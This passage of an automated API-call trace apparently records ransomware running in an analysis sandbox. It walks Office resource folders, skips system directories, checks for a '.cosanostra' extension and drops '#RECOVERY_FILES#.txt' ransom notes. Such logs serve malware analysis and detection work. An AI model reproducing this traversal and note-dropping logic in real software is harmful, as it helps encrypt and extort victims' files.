(lpString1="OUTLLIBR.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.210] lstrcmpW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.210] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll") returned 72 [0081.210] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.210] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="Windows") returned -1 [0081.210] lstrlenW (lpString="Windows") returned 7 [0081.210] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="Program Files") returned -1 [0081.210] lstrlenW (lpString="Program Files") returned 13 [0081.210] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.210] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.210] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.210] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.211] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="System Volume Information") returned -1 [0081.211] lstrlenW (lpString="System Volume Information") returned 25 [0081.211] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll") returned 73 [0081.211] StrStrIW (lpFirst="OUTLLIBR.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.211] lstrcmpW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.211] lstrcmpW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.211] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll") returned 73 [0081.211] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.211] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="Windows") returned -1 [0081.211] lstrlenW (lpString="Windows") returned 7 [0081.211] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="Program Files") returned -1 [0081.211] lstrlenW (lpString="Program Files") returned 13 [0081.211] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.211] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.211] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.211] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.211] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0081.211] lstrlenW (lpString="System Volume Information") returned 25 [0081.211] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll") returned 71 [0081.211] StrStrIW (lpFirst="OUTLWVW.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.211] lstrcmpW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.211] lstrcmpW (lpString1="OUTLWVW.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.211] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll") returned 71 [0081.211] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.212] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="Windows") returned -1 [0081.212] lstrlenW (lpString="Windows") returned 7 [0081.212] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="Program Files") returned -1 [0081.212] lstrlenW (lpString="Program Files") returned 13 [0081.212] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.212] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.212] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.212] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.212] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0081.212] lstrlenW (lpString="System Volume Information") returned 25 [0081.212] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll") returned 70 [0081.212] StrStrIW (lpFirst="PPINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.212] lstrcmpW (lpString1="PPINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.212] lstrcmpW (lpString1="PPINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.212] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll") returned 70 [0081.212] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.212] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="Windows") returned -1 [0081.212] lstrlenW (lpString="Windows") returned 7 [0081.212] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="Program Files") returned -1 [0081.212] lstrlenW (lpString="Program Files") returned 13 [0081.212] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="Program Files (x86)") returned -1 [0081.212] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.212] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.212] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.212] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2="System Volume Information") returned -1 [0081.212] lstrlenW (lpString="System Volume Information") returned 25 [0081.212] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll") returned 71 [0081.212] StrStrIW (lpFirst="PPINTL.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.213] lstrcmpW (lpString1="PPINTL.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.213] lstrcmpW (lpString1="PPINTL.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.213] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll") returned 71 [0081.213] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.213] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="Windows") returned -1 [0081.213] lstrlenW (lpString="Windows") returned 7 [0081.213] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="Program Files") returned 1 [0081.213] lstrlenW (lpString="Program Files") returned 13 [0081.213] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0081.213] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.213] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.213] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.213] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0081.213] lstrlenW (lpString="System Volume Information") returned 25 [0081.213] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll") returned 72 [0081.213] StrStrIW (lpFirst="PUB6INTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.213] lstrcmpW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.213] lstrcmpW (lpString1="PUB6INTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.213] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll") returned 72 [0081.213] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.213] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="Windows") returned -1 [0081.213] lstrlenW (lpString="Windows") returned 7 [0081.213] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="Program Files") returned 1 [0081.213] lstrlenW (lpString="Program Files") returned 13 [0081.213] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="Program Files (x86)") returned 1 [0081.213] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.213] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.213] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.213] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2="System Volume Information") returned -1 [0081.213] lstrlenW (lpString="System Volume Information") returned 25 [0081.213] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll") returned 73 [0081.213] StrStrIW (lpFirst="PUB6INTL.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.213] lstrcmpW (lpString1="PUB6INTL.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.213] lstrcmpW (lpString1="PUB6INTL.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.213] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll") returned 73 [0081.213] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.213] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="Windows") returned -1 [0081.213] lstrlenW (lpString="Windows") returned 7 [0081.213] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="Program Files") returned 1 [0081.213] lstrlenW (lpString="Program Files") returned 13 [0081.214] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="Program Files (x86)") returned 1 [0081.214] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.214] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.214] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.214] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2="System Volume Information") returned -1 [0081.214] lstrlenW (lpString="System Volume Information") returned 25 [0081.214] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll") returned 73 [0081.214] StrStrIW (lpFirst="PUBWZINT.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.214] lstrcmpW (lpString1="PUBWZINT.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.214] lstrcmpW (lpString1="PUBWZINT.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.214] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll") returned 73 [0081.214] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.214] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="Windows") returned -1 [0081.214] lstrlenW (lpString="Windows") returned 7 [0081.214] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="Program Files") returned 1 [0081.214] lstrlenW (lpString="Program Files") returned 13 [0081.214] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0081.214] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.214] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.214] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.214] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0081.214] lstrlenW (lpString="System Volume Information") returned 25 [0081.214] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll") returned 69 [0081.214] StrStrIW (lpFirst="SGRES.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.214] lstrcmpW (lpString1="SGRES.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.214] lstrcmpW (lpString1="SGRES.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.214] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll") returned 69 [0081.214] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.214] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="Windows") returned -1 [0081.214] lstrlenW (lpString="Windows") returned 7 [0081.214] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="Program Files") returned 1 [0081.214] lstrlenW (lpString="Program Files") returned 13 [0081.214] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0081.214] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.214] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.214] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.214] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2="System Volume Information") returned -1 [0081.214] lstrlenW (lpString="System Volume Information") returned 25 [0081.215] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll") returned 70 [0081.215] StrStrIW (lpFirst="STINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.215] lstrcmpW (lpString1="STINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.215] lstrcmpW (lpString1="STINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.215] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll") returned 70 [0081.215] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.215] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="Windows") returned -1 [0081.215] lstrlenW (lpString="Windows") returned 7 [0081.215] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="Program Files") returned 1 [0081.215] lstrlenW (lpString="Program Files") returned 13 [0081.215] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0081.215] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.215] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.215] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.215] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2="System Volume Information") returned 1 [0081.215] lstrlenW (lpString="System Volume Information") returned 25 [0081.215] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll") returned 72 [0081.215] StrStrIW (lpFirst="VISBRRES.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.215] lstrcmpW (lpString1="VISBRRES.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.215] lstrcmpW (lpString1="VISBRRES.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.215] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll") returned 72 [0081.215] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.215] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="Windows") returned -1 [0081.215] lstrlenW (lpString="Windows") returned 7 [0081.215] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="Program Files") returned 1 [0081.215] lstrlenW (lpString="Program Files") returned 13 [0081.215] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0081.215] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.215] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.215] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.217] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2="System Volume Information") returned 1 [0081.217] lstrlenW (lpString="System Volume Information") returned 25 [0081.217] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll") returned 71 [0081.217] StrStrIW (lpFirst="VISINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.217] lstrcmpW (lpString1="VISINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.217] lstrcmpW (lpString1="VISINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.217] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll") returned 71 [0081.218] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.218] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="Windows") returned 1 [0081.218] lstrlenW (lpString="Windows") returned 7 [0081.218] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="Program Files") returned 1 [0081.218] lstrlenW (lpString="Program Files") returned 13 [0081.218] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0081.218] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.218] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.218] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.218] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2="System Volume Information") returned 1 [0081.218] lstrlenW (lpString="System Volume Information") returned 25 [0081.218] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll") returned 70 [0081.218] StrStrIW (lpFirst="WWINTL.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.218] lstrcmpW (lpString1="WWINTL.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.218] lstrcmpW (lpString1="WWINTL.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.218] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll") returned 70 [0081.218] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.218] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="Windows") returned 1 [0081.218] lstrlenW (lpString="Windows") returned 7 [0081.218] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="Program Files") returned 1 [0081.218] lstrlenW (lpString="Program Files") returned 13 [0081.218] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="Program Files (x86)") returned 1 [0081.218] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.218] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.218] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.218] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2="System Volume Information") returned 1 [0081.218] lstrlenW (lpString="System Volume Information") returned 25 [0081.218] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll") returned 71 [0081.218] StrStrIW (lpFirst="WWINTL.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.218] lstrcmpW (lpString1="WWINTL.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.218] lstrcmpW (lpString1="WWINTL.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.218] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll") returned 71 [0081.218] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.218] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="Windows") returned 1 [0081.218] lstrlenW (lpString="Windows") returned 7 [0081.218] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="Program Files") returned 1 [0081.218] lstrlenW (lpString="Program Files") returned 13 [0081.218] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0081.218] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.218] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.219] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.219] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2="System Volume Information") returned 1 [0081.219] lstrlenW (lpString="System Volume Information") returned 25 [0081.219] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll") returned 72 [0081.219] StrStrIW (lpFirst="XLINTL32.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.219] lstrcmpW (lpString1="XLINTL32.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.219] lstrcmpW (lpString1="XLINTL32.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.219] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll") returned 72 [0081.219] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.219] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="Windows") returned 1 [0081.219] lstrlenW (lpString="Windows") returned 7 [0081.219] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="Program Files") returned 1 [0081.219] lstrlenW (lpString="Program Files") returned 13 [0081.219] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="Program Files (x86)") returned 1 [0081.219] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.219] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.219] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.219] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2="System Volume Information") returned 1 [0081.219] lstrlenW (lpString="System Volume Information") returned 25 [0081.219] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll") returned 73 [0081.219] StrStrIW (lpFirst="XLINTL32.REST.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.219] lstrcmpW (lpString1="XLINTL32.REST.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.219] lstrcmpW (lpString1="XLINTL32.REST.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.219] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll") returned 73 [0081.219] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.219] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="Windows") returned 1 [0081.219] lstrlenW (lpString="Windows") returned 7 [0081.219] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="Program Files") returned 1 [0081.219] lstrlenW (lpString="Program Files") returned 13 [0081.219] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="Program Files (x86)") returned 1 [0081.219] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.219] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="$Recycle.bin") returned 1 [0081.219] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.219] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2="System Volume Information") returned 1 [0081.219] lstrlenW (lpString="System Volume Information") returned 25 [0081.219] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll") returned 72 [0081.219] StrStrIW (lpFirst="XLSLICER.DLL.trx_dll", lpSrch=".cosanostra") returned 0x0 [0081.219] lstrcmpW (lpString1="XLSLICER.DLL.trx_dll", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.219] lstrcmpW (lpString1="XLSLICER.DLL.trx_dll", lpString2="_uninstalling_.png") returned 1 [0081.219] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll") returned 72 [0081.219] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0081.219] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0081.220] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\#RECOVERY_FILES#.txt") returned 72 [0081.220] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\#RECOVERY_FILES#.txt") returned 72 [0081.220] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0081.220] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0081.221] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\#RECOVERY_FILES#.txt") returned 67 [0081.221] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\#RECOVERY_FILES#.txt") returned 67 [0081.221] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0081.221] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0081.221] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\#RECOVERY_FILES#.txt") returned 56 [0081.221] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\#RECOVERY_FILES#.txt") returned 56 [0081.223] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.223] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Windows") returned -1 [0081.223] lstrlenW (lpString="Windows") returned 7 [0081.223] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Program Files") returned -1 [0081.223] lstrlenW (lpString="Program Files") returned 13 [0081.223] lstrcmpiW 